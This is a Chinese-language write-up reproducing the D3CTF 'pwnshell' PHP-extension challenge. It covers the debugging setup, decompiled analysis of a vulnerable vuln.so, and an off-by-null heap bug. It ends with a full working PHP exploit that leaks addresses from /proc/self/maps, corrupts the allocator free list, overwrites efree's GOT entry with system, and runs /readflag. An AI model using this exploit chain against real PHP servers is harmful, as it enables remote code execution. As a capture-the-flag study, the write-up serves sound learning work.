d3ctf_pwnshell复现
pwnshell 复现 (php pwn)
如何调试?
php pwn该如何调试?在docker中装一个gdbserver,用gdbserver起一个程序,在exp中用能触发io中断的php函数打”断点”,之后用gdb连上去后在vuln.so里打个断点就好了
能触发io中断的函数,比如说fgetc
<?php
$char = fgetc(STDIN);
echo "You entered: $char\n";
?>
在pwnshell这个题目中php配置文件里禁用了fgetc这个函数,修改php.ini中的disable_functions,把fgetc删掉就可以使用这个函数了
调试相关的命令
安装gdbserver
只需要在dockerfile里面加上安装的参数,之后构建镜像就好了
FROM php:8.3-apache
RUN DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y vim gdbserver
COPY ./stuff/php.ini /usr/local/etc/php
COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./stuff/readflag /
COPY ./flag.txt /flag.txt
COPY ./stuff/index.php /var/www/html
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
RUN chmod -R 777 /var/www/html
构建镜像
docker build -t nyyyddddn/pwnshell .
开启容器
多映射一个 8888端口用来调试
docker run -d -p 9999:80 -p 8888:8888 nyyyddddn/pwnshell
gdbserver的使用
gdbserver开启一个监听
gdbserver :8888 php test.php
然后使用gdb连接上去调试
gdb -q \
-ex "add-symbol-file vuln.so" \
-ex "target remote :8888"
之后在vuln.so中打一个断点就好了
pwndbg> b zif_addHacker
Breakpoint 1 at 0x1210
pwndbg> c
Continuing.
如何分析程序逻辑
php module 程序的入口点是get_module 这个函数,会返回一个zend_module_entry结构体指针,这个结构体用来描述要加载的自定义函数地址 和信息,可以通过分析这个结构体知道哪些函数是出题人自定义的函数,再去分析这些函数的逻辑寻址漏洞
https://github.com/php/php-src/blob/master/Zend/zend_modules.h
php8.3中 _zend_module_enrty的结构
struct _zend_module_entry {
unsigned short size;
unsigned int zend_api;
unsigned char zend_debug;
unsigned char zts;
const struct _zend_ini_entry *ini_entry;
const struct _zend_module_dep *deps;
const char *name;
const struct _zend_function_entry *functions;
zend_result (*module_startup_func)(INIT_FUNC_ARGS);
zend_result (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
zend_result (*request_startup_func)(INIT_FUNC_ARGS);
zend_result (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
const char *version;
size_t globals_size;
#ifdef ZTS
ts_rsrc_id* globals_id_ptr;
#else
void* globals_ptr;
#endif
void (*globals_ctor)(void *global);
void (*globals_dtor)(void *global);
zend_result (*post_deactivate_func)(void);
int module_started;
unsigned char type;
void *handle;
int module_number;
const char *build_id;
};
所以 从functions指针跟过去后可以发现出题人自定义的函数有四个,分别是addHacker removeHacker displayHacker editHacker
.data:000000000000409F 00 db 0
.data:00000000000040A0 03 20 00 00 00 00 00 00 dq offset aVuln ; "vuln"
.data:00000000000040A8 60 3D 00 00 00 00 00 00 dq offset off_3D60 ; "addHacker"
.data:00000000000040B0 C0 11 00 00 00 00 00 00 dq offset zm_startup_vuln
.data:00000000000040B8 00 12 00 00 00 00 00 00 dq offset zm_shutdown_vuln
.data:00000000000040C0 00 db 0
.data.rel.ro:0000000000003D60 1E 20 00 00 00 00 00 00 off_3D60 dq offset aAddhacker ; DATA XREF: .data:00000000000040A8↓o
.data.rel.ro:0000000000003D60 ; "addHacker"
.data.rel.ro:0000000000003D68 10 12 00 00 00 00 00 00 dq offset zif_addHacker
.data.rel.ro:0000000000003D70 00 3D 00 00 00 00 00 00 dq offset unk_3D00
.data.rel.ro:0000000000003D78 02 db 2
.data.rel.ro:0000000000003D79 00 db 0
.data.rel.ro:0000000000003D7A 00 db 0
.data.rel.ro:0000000000003D7B 00 db 0
.data.rel.ro:0000000000003D7C 00 db 0
.data.rel.ro:0000000000003D7D 00 db 0
.data.rel.ro:0000000000003D7E 00 db 0
.data.rel.ro:0000000000003D7F 00 db 0
.data.rel.ro:0000000000003D80 28 20 00 00 00 00 00 00 dq offset aRemovehacker ; "removeHacker"
.data.rel.ro:0000000000003D88 50 13 00 00 00 00 00 00 dq offset zif_removeHacker
.data.rel.ro:0000000000003D90 C0 3C 00 00 00 00 00 00 dq offset unk_3CC0
.data.rel.ro:0000000000003D98 01 db 1
.data.rel.ro:0000000000003D99 00 db 0
.data.rel.ro:0000000000003D9A 00 db 0
.data.rel.ro:0000000000003D9B 00 db 0
.data.rel.ro:0000000000003D9C 00 db 0
.data.rel.ro:0000000000003D9D 00 db 0
.data.rel.ro:0000000000003D9E 00 db 0
.data.rel.ro:0000000000003D9F 00 db 0
.data.rel.ro:0000000000003DA0 35 20 00 00 00 00 00 00 dq offset aDisplayhacker ; "displayHacker"
.data.rel.ro:0000000000003DA8 20 15 00 00 00 00 00 00 dq offset zif_displayHacker
.data.rel.ro:0000000000003DB0 80 3C 00 00 00 00 00 00 dq offset unk_3C80
.data.rel.ro:0000000000003DB8 01 db 1
.data.rel.ro:0000000000003DB9 00 db 0
.data.rel.ro:0000000000003DBA 00 db 0
.data.rel.ro:0000000000003DBB 00 db 0
.data.rel.ro:0000000000003DBC 00 db 0
.data.rel.ro:0000000000003DBD 00 db 0
.data.rel.ro:0000000000003DBE 00 db 0
.data.rel.ro:0000000000003DBF 00 db 0
.data.rel.ro:0000000000003DC0 43 20 00 00 00 00 00 00 dq offset aEdithacker ; "editHacker"
.data.rel.ro:0000000000003DC8 10 14 00 00 00 00 00 00 dq offset zif_editHacker
.data.rel.ro:0000000000003DD0 20 3C 00 00 00 00 00 00 dq offset unk_3C20
.data.rel.ro:0000000000003DD8 02 db 2
.data.rel.ro:0000000000003DD9 00 db 0
zif_addHacker
unsigned __int64 __fastcall zif_addHacker(__int64 a1, __int64 a2)
{
__int64 v2; // rbp
__int64 v3; // rdi
__int64 v5; // rdx
_BYTE *v6; // rax
char *v7; // r12
_QWORD *v8; // rbx
void *v9; // rax
size_t v10; // rdx
const void *v11; // rsi
_BYTE *v12; // r13
__int64 v13; // rax
_BYTE *arg2; // [rsp+8h] [rbp-40h] BYREF
_BYTE *arg1; // [rsp+10h] [rbp-38h] BYREF
unsigned __int64 v16; // [rsp+18h] [rbp-30h]
v3 = *(unsigned int *)(a1 + 44);
v16 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v3, &unk_2000, &arg1, &arg2) != -1 )
{
if ( arg1[8] == 6 && arg2[8] == 6 )
{
v5 = 0LL;
v6 = (char *)&chunkList + 8;
while ( *v6 != 1 )
{
++v5;
v6 += 16;
if ( v5 == 16 )
goto LABEL_9;
}
v2 = v5;
LABEL_9:
v7 = (char *)&chunkList + 16 * v2;
v8 = (_QWORD *)_emalloc(*(_QWORD *)(*(_QWORD *)arg2 + 16LL) + 16LL);
v9 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)arg1 + 16LL));
*v8 = v9;
v10 = *(_QWORD *)(*(_QWORD *)arg1 + 16LL);
v11 = (const void *)(*(_QWORD *)arg1 + 24LL);
v8[1] = v10;
memcpy(v9, v11, v10);
v12 = arg2;
memcpy(v8 + 2, (const void *)(*(_QWORD *)arg2 + 24LL), *(_QWORD *)(*(_QWORD *)arg2 + 16LL));
v13 = *(_QWORD *)(*(_QWORD *)v12 + 16LL);
*(_QWORD *)v7 = v8;
*((_DWORD *)v7 + 2) = 13;
*((_BYTE *)v8 + v13 + 16) = 0;
}
else
{
*(_DWORD *)(a2 + 8) = 1;
}
}
return v16 - __readfsqword(0x28u);
}
zend_parse_parameters是一个可变参数函数,用途是根据指定的格式字符串解析和验证传入的参数,并将解析后的值存储在相应的变量中。
ZEND_API zend_result zend_parse_parameters(uint32_t num_args, const char *type_spec, ...);
php变量类型的表示方法
php是一门动态类型语言,变量可以存储任何类型的数据,并且变量的类型可以在程序执行期间发生变化,在zend引擎中变量是由一个叫做zval的结构体去描述的
typedef struct _zval_struct zval;
struct _zval_struct {
zend_value value; /* value */
union {
uint32_t type_info;
struct {
ZEND_ENDIAN_LOHI_3(
uint8_t type, /* active type */
uint8_t type_flags,
union {
uint16_t extra; /* not further specified */
} u)
} v;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t guard; /* recursion and single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};
其中关于类型的定义是这样的
#define IS_UNDEF 0 /* A variable that was never written to. */
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4 /* An integer value. */
#define IS_DOUBLE 5 /* A floating point value. */
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10
所以从这里可以判断出addhacker这个函数有两个字符串类型的参数
if ( (unsigned int)zend_parse_parameters(v3, &unk_2000, &arg1, &arg2) != -1 )
{
if ( arg1[8] == 6 && arg2[8] == 6 )
然后代码中的 arg1 + 0x10 arg1 + 0x18 arg2 + 0x10 arg2 + 0x18调试了一下发现 + 0x10 取字符串的长度,+ 0x18是取字符串的基地址
chunklist的结构是这样的
pwndbg> x /100gx 0x7d6e061d7160
0x7d6e061d7160 <chunkList>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7170 <chunkList+16>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7180 <chunkList+32>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7190 <chunkList+48>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71a0 <chunkList+64>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71b0 <chunkList+80>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71c0 <chunkList+96>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71d0 <chunkList+112>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71e0 <chunkList+128>: 0x0000000000000000 0x0000000000000001
0x7d6e061d71f0 <chunkList+144>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7200 <chunkList+160>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7210 <chunkList+176>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7220 <chunkList+192>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7230 <chunkList+208>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7240 <chunkList+224>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7250 <chunkList+240>: 0x0000000000000000 0x0000000000000001
0x7d6e061d7260: 0x0000000000000000 0x0000000000000000
所以这段代码的用途是在chunklist中找一个可用的空间,然后通过arg1的长度和arg2 + 0x10的长度申请两个堆,把arg1申请出来的堆写到arg2的堆里,最后把通过arg2堆写回chunklist,同时修改chunklist中inuse的标志位
写回chunklist逻辑附近有一个off by null的漏洞
*(_QWORD *)v7 = v8;
*((_DWORD *)v7 + 2) = 13;
*((_BYTE *)v8 + v13 + 16) = 0;
}
zif_removeHacker
unsigned __int64 __fastcall zif_removeHacker(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 v4; // rdi
_DWORD *v6; // rax
_QWORD *v7; // rbp
__int64 arg1; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v9; // [rsp+8h] [rbp-20h]
v4 = *(unsigned int *)(a1 + 44);
v9 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v4, &unk_2001, &arg1, a4) != -1 )
{
if ( *(_BYTE *)(arg1 + 8) != 4
|| (v6 = &chunkList[4 * *(_QWORD *)arg1], *((_BYTE *)v6 + 8) == 1)
|| *(_QWORD *)arg1 > 0xFuLL )
{
*(_DWORD *)(a2 + 8) = 1;
}
else
{
v7 = *(_QWORD **)v6;
_efree(**(_QWORD **)v6);
_efree(v7);
chunkList[4 * *(_QWORD *)arg1 + 2] = 1;
}
}
return v9 - __readfsqword(0x28u);
}
removeHacker只有一个整型参数idx, 传递idx过去后会根据idx去chunklist中找到arg2堆,然后再根据arg2堆的内容找到arg1堆最后free掉两个堆,同时修改chunlist中的inuse标志位
zif_editHacker
void *__fastcall zif_editHacker(__int64 a1, __int64 a2)
{
__int64 v2; // rdi
char *v4; // rax
void **v5; // rbx
void *v6; // rdi
size_t v7; // rdx
void *v8; // rax
__int64 v9; // [rsp+8h] [rbp-20h] BYREF
_BYTE *v10; // [rsp+10h] [rbp-18h] BYREF
unsigned __int64 v11; // [rsp+18h] [rbp-10h]
v2 = *(unsigned int *)(a1 + 44);
v11 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v2, &unk_2000, &v9, &v10) == -1 )
return (void *)(v11 - __readfsqword(0x28u));
if ( *(_BYTE *)(v9 + 8) != 4
|| v10[8] != 6
|| (v4 = (char *)&chunkList + 16 * *(_QWORD *)v9, v4[8] == 1)
|| *(_QWORD *)v9 > 0xFuLL )
{
*(_DWORD *)(a2 + 8) = 1;
return (void *)(v11 - __readfsqword(0x28u));
}
v5 = *(void ***)v4;
v6 = **(void ***)v4;
v7 = *(_QWORD *)(*(_QWORD *)v10 + 16LL);
if ( v7 <= *(_QWORD *)(*(_QWORD *)v4 + 8LL) )
{
memcpy(v6, (const void *)(*(_QWORD *)v10 + 24LL), v7);
return (void *)(v11 - __readfsqword(0x28u));
}
_efree(v6);
v8 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)v10 + 16LL));
*v5 = v8;
return memcpy(v8, (const void *)(*(_QWORD *)v10 + 24LL), *(_QWORD *)(*(_QWORD *)v10 + 16LL));
}
edithacker函数的用途是编辑和更新指定索引的 chunk 数据,如果新数据小于或等于当前 chunk 的大小则直接覆盖,否则重新分配内存并复制新数据
zif_displayHacker
unsigned __int64 __fastcall zif_displayHacker(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 v4; // rdi
char *v6; // rax
const char *v7; // r13
size_t v8; // r12
_QWORD *v9; // rbp
__int64 v10; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v11; // [rsp+8h] [rbp-30h]
v4 = *(unsigned int *)(a1 + 44);
v11 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v4, &unk_2001, &v10, a4) != -1 )
{
if ( *(_BYTE *)(v10 + 8) != 4
|| (v6 = (char *)&chunkList + 16 * *(_QWORD *)v10, v6[8] == 1)
|| *(_QWORD *)v10 > 0xFuLL )
{
*(_DWORD *)(a2 + 8) = 1;
}
else
{
v7 = **(const char ***)v6;
v8 = strlen(v7);
v9 = (_QWORD *)_emalloc((v8 + 32) & 0xFFFFFFFFFFFFFFF8LL);
*v9 = 0x1600000001LL;
v9[1] = 0LL;
v9[2] = v8;
memcpy(v9 + 3, v7, v8);
*((_BYTE *)v9 + v8 + 24) = 0;
*(_QWORD *)a2 = v9;
*(_DWORD *)(a2 + 8) = 262;
}
}
return v11 - __readfsqword(0x28u);
}
displahacker函数的用途是根据指定索引从chunklist中获取对应chunk的数据,然后返回一个对应的字符串对象
exp
https://a1ex.online/2021/03/06/2021-antCTF/
https://qanux.github.io/2024/04/29/d3ctf2024/index.html#PwnShell
通过linux 伪文件系统泄露libc基地址和模块基地址后,通过堆风水破坏free list构造任意地址写的原语,将 efree的got表覆盖成system,之后去free一个内容为 binsh的堆就好了,不过php pwn不能直接getshell,得反弹shell或者是用readflag把 flag读出来
<?php
function str2Hex($str) {
$hex = "";
for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i]));
$hex = strtoupper($hex);
return $hex;
}
function int2Str($i, $x = 8) {
$re = "";
for ($j = 0; $j < $x; $j++) {
$re .= pack('C', $i & 0xff);
$i >>= 8;
}
return $re;
}
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
$libc="";
$mbase="";
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);
$system_addr = 0x4c490;
$efree_got = 0x4038;
$a = str_repeat("a", 0x40);
$b = str_repeat("b", 0x3f);
// fgetc(STDIN);
for ($i = 1; $i < 0xe; $i++) {
$n = 0x61 + $i;
$aa = pack("C", $n);
$aaa = str_repeat($aa, 0x40);
addHacker($aaa, $b);
}
// fgetc(STDIN);
$cmd = "/readflag > /var/www/html/flag.txt\x00";
editHacker(0,$cmd);
removeHacker(7);
$c = str_repeat("c", 0x40);
addHacker($a, $c);
removeHacker(6);
editHacker(8, int2str($mod_base+$efree_got));
addHacker($a, $b);
$payload = str_repeat(int2str($libc_base+$system_addr),8);
addHacker($payload, $b);
// fgetc(STDIN);
removeHacker(0);
?>